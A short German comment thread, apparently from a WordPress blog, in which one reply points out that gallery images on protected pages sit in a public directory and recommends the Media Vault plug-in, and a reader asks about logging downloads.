        eine Galerie lässt sich grundsätzlich in den geschützten Seiten anlegen. Allerdings ist das Problem, dass die Bilder standardmäßig in einem öffentlichen Verzeichnis landen und grundsätzlich ungeschützt verteilt werden können.
        Eine Lösung für dieses Problem bietet das Plug-in Media Vault.
        Ahoi!
        Thorsten Antworten
  • Klaus9. Januar 2018 18:40 Toller Beitrag! Gibt es auch die Möglichkeit, jeden Download zu protokollieren? Z.B. wer, wann,was? Antworten